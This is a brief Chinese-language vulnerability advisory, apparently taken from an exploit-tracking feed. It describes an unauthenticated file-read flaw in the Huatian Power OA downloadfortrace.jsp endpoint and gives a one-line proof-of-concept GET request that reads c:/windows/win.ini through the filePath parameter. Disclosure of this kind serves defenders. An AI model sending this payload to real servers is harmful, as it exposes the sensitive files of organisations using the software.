华天动力 OA /OAapp/jsp/trace_eWebEditor/downloadfortrace.jsp 文件读取漏洞

2025-07-10 华天动力OA PoC Public

Description

华天动力协同OA系统是一款广泛应用于企业和组织的协同办公软件，提供高效的办公自动化解决方案。系统的 /OAapp/jsp/trace_eWebEditor/downloadfortrace.jsp 接口存在文件读取漏洞，未经身份验证的攻击者可利用该漏洞读取系统中的敏感文件，导致信息泄露和安全风险。

PoC

GET /OAapp/jsp/trace_eWebEditor/downloadfortrace.jsp?filePath=c:/windows/win.ini HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Huatian Power OA /OAapp/jsp/trace_eWebEditor/downloadfortrace.jsp File Read Vulnerability

References

Related Vulnerabilities